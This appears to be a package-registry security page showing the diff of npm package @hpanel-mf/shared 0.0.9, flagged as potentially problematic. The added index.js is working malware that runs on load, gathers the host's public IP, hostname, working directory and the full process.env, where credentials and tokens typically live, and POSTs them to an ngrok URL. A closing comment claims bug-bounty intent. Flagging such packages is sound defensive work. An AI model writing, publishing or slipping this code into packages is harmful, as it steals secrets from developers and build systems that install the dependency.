@hpanel-mf/shared 0.0.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @hpanel-mf/shared might be problematic. Click here for more details.
- package/index.js +35 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const path = require('path');
|
3
|
+
|
4
|
+
function postData(url = '', data = {}) {
|
5
|
+
fetch(url, {
|
6
|
+
method: 'POST',
|
7
|
+
headers: {
|
8
|
+
'Content-Type': 'application/json',
|
9
|
+
},
|
10
|
+
body: JSON.stringify(data),
|
11
|
+
});
|
12
|
+
}
|
13
|
+
|
14
|
+
async function getPublicIP() {
|
15
|
+
const response = await fetch('https://api.ipify.org/?format=json');
|
16
|
+
const data = await response.json();
|
17
|
+
return data.ip;
|
18
|
+
}
|
19
|
+
|
20
|
+
async function runPayload() {
|
21
|
+
const ip = await getPublicIP();
|
22
|
+
const data = {
|
23
|
+
time: new Date(),
|
24
|
+
hostname: os.hostname(),
|
25
|
+
path: path.resolve(),
|
26
|
+
env: process.env,
|
27
|
+
ip: ip,
|
28
|
+
ver: "shared-0.0.9"
|
29
|
+
};
|
30
|
+
postData("https://2e25-2001-1ab8-1-8-ada2-50b5-be0-1677.ngrok-free.app/", data)
|
31
|
+
}
|
32
|
+
|
33
|
+
runPayload()
|
34
|
+
|
35
|
+
//EVERYTHING IS USED FOR BUG BOUNTY PURPOSES AND WILL BE REPORTED TO ORGANIZATIONS!!!
|
package/package.json
ADDED